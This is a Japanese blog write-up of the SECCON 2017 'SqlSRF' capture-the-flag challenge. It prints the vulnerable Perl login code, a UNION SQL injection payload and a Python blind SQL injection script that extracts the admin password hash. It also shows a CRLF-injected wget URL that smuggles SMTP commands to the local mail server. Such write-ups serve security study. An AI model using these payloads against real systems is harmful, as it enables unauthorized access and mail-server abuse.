LoginSignup
4
3

More than 5 years have passed since last update.

SECCON 2017 SqlSRF Writeup

Last updated at Posted at 2017-12-10

※この記事は TSG Advent Calendar 2017 n日目の記事です。

問題

SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
http://sqlsrf.pwn.seccon.jp/sqlsrf/

解法

予備調査

rootに対してタイトルが「give me flag」であるメールを送れば、flagがわかるらしい。とりあえずサイトにアクセスしてみる。

root.PNG

どうやら4つのファイルが有るらしい。

  • bg-header.jpg:ただの背景
  • index.cgi:ログインページ
  • index.cgi_backup20171129:ログインページのソースコード
  • menu.cgi:ログインページに転送される

とりあえず、ログインページのソースコードを見てみる。

SQL Injectionできる

Perlで書かれているらしい

index.cgi_backup20171129
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

読み進めていくと、

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

sqlのクエリは、入力した文字を直接使用しているのでSQL Injectionできる事がわかる。

試しに、Usernameに'と入れて、適当なパスワードを入力すると、Database Errorを返してくることから、SQL Injectionできることが確かめられる。

Encrypt, Decryptが自由にできる

my $user = $q->param('user');
#(中略)
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
#(中略)
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>

ユーザーのリクエスト中のsave1であるとき、rememberというcookieにユーザーのリクエスト中のuserをencryptしたものを入れて返してくれるらしい。それぞれ、フォームの中でRemember Meにチェックをつけるとsave=1となり、Usernameに入れた値が、$userに格納されることがわかる。

つまり、任意の文字列を暗号化することができる。

Cookieの確認、書き換えの方法は以下を参照されたい。

さらに、

  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
#(中略)
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>

Userが空でrememberのクッキーの値がから出ないとき、rememberのクッキーの値がdecryptされて、フォームのUsernameに表示されることがわかる。

つまり、任意の暗号化された文字列を、復号化することができる。

さらに、

      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

パスワードは、rememberと同じ関数によりencryptされている。

SQL Injection実践

上記の事から、

  • 好きなパスワードをencryptしたものを用意し、SQL Injectionでその値がクエリの結果として返るようにする。
  • パスワードに先程のものを入力する

事により、とりあえずログインできそうなことがわかる。

今回は、パスワードをapple(適当に自分で決めて良い)として進めていく。
蒸気の方法でencryptすると132e8a875acb8357c33c12058d5f2ee3となる。

SQL Injectionは

SQL Injection Cheat Sheet

を見ながら組み立てていく。

' UNION SELECT "132e8a875acb8357c33c12058d5f2ee3" --

となった。これをUsernameに、Passwordをappleに設定すると意味不明なUsernameだが、一応ログインでき、Menuに進むことができる。

user.PNG

netstatの結果が見れる。

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

25番ポートでプログラムが動いていることがわかる。25番ポートといえばsmtpサーバーである。メールを送ることが、目的だったので、何か関係がありそうだ。

adminでログインすれば、wgetが動かせるらしい。

adminのパスワード

adminのパスワードはencryptされてデーターベースに保存されている。

今回のSQL Injectionではクエリの実行結果を表示することはできず、クエリがErrorを起こしたかしか、ログインできたか、ログイン失敗したかの3つの状態しか知ることができない。今回は、ログイン成功とログイン失敗の2つの状態を使って、Blind Sql Injectionを行い、adminのecryptされたパスワードを奪取する。そうすれば、 Encrypt, Decryptが自由にできる ことから元のパスワードを得ることができる。

Blind SQL Injectionとは?
参考になりそうな資料を見つけたので貼っておく。

ブラインドSQLのコードは以下のようになった。(汚い)

import urllib.request
import urllib.parse

url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'





alphabet = "0123456789abcdef"

ans = ""

for i in range(100):
  st = 0
  end = len(alphabet)

  mid = 0

  while (end - st > 1):
    mid = (end + st) // 2
    chara = alphabet[mid]

    print(chara)
    target = ans + chara
    print(target)

    sql = "' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password > '{}' limit 1 -- a".format(target)
    post_data = {
             'user': sql,
             'pass': "apple",
             'login': "Login",
            }

    encoded_post_data = urllib.parse.urlencode(post_data).encode(encoding='utf-8')

    with urllib.request.urlopen(url=url, data=encoded_post_data) as page:
      page_text = []
      for line in page.readlines():
        page_text.append(line.decode('utf-8'))

    print(page_text[14])
    if("Login Error!" in page_text[14]):
      end = mid
    else:
      st = mid
  print("ans:" + alphabet[st])

  ans += alphabet[st]

  sql = "' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password='{}' limit 1 -- a".format(ans)
  post_data = {
       'user': sql,
       'pass': "apple",
       'login': "Login",
      }

  encoded_post_data = urllib.parse.urlencode(post_data).encode(encoding='utf-8')

  with urllib.request.urlopen(url=url, data=encoded_post_data) as page:
    page_text = []
    for line in page.readlines():
      page_text.append(line.decode('utf-8'))

  if(not "Login Error!" in page_text[14]):
    break

print(ans)

執筆途中なのでここから指針

wgetの実行ができる

とりあえずlocalhost:25にhttpリクエストを送ると

Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-10 18:41:45--  http://localhost:25/
Resolving localhost (localhost)... ::1, 127.0.0.1
Caching localhost => ::1 127.0.0.1
Connecting to localhost (localhost)|::1|:25... connected.
Created socket 4.
Releasing 0x0000000001f1dc20 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: localhost:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response... 
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax

と返ってくる。
ymzk01.pwnこれが、メールアドレスのドメインらしい。

URLしか変えることができない。しかもhttpプロトコルであることも変えられない。(実はwgetはftpにも対応しているらしい。)

なんとかしてhttpリクエストをsmtpのリクエストに偽装したい。

とりあえず、改行と空白をhttpリクエストに混ぜたい。

そんなバグはないかな?

「wget vulnerability CRLF」でググる。

ヒット

参考ページを見ると…

!?
使えそう

とりあえず、smtpのリクエストをurlエンコードして投げてみる。

http://www.atmarkit.co.jp/ait/articles/0105/02/news001.html
この記事の画像を見ながら組み立てた

投げたURL

sample@example.comは自分のメールアドレスにする

127.0.0.1
HELO sqlsrf.pwn.seccon.jp
MAIL FROM:<sample@example.com>
RCPT TO:<root@ymzk01.pwn>
DATA
Subject: give me flag


.
QUIT
:25
urlデコード後(これをフォームに入れて投げる)
127.0.0.1%0D%0AHELO%20sqlsrf.pwn.seccon.jp%0D%0AMAIL%20FROM%3A%3Csample%40example.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0A%0D%0A.%0D%0AQUIT%0D%0A:25
HTTP request sent, awaiting response... 
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
250 ymzk01.pwn
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 2A0AA26633
221 2.0.0 Bye

     0K                                                        38.0K=0.009s

2017-12-10 18:46:50 (38.0 KB/s) - '/dev/stdout' saved [334]

どうやらきちんとsmtpサーバーに受け取ってもらえたらしい。

メールが来た!

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

decryptしたらフラグゲット。

4
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
3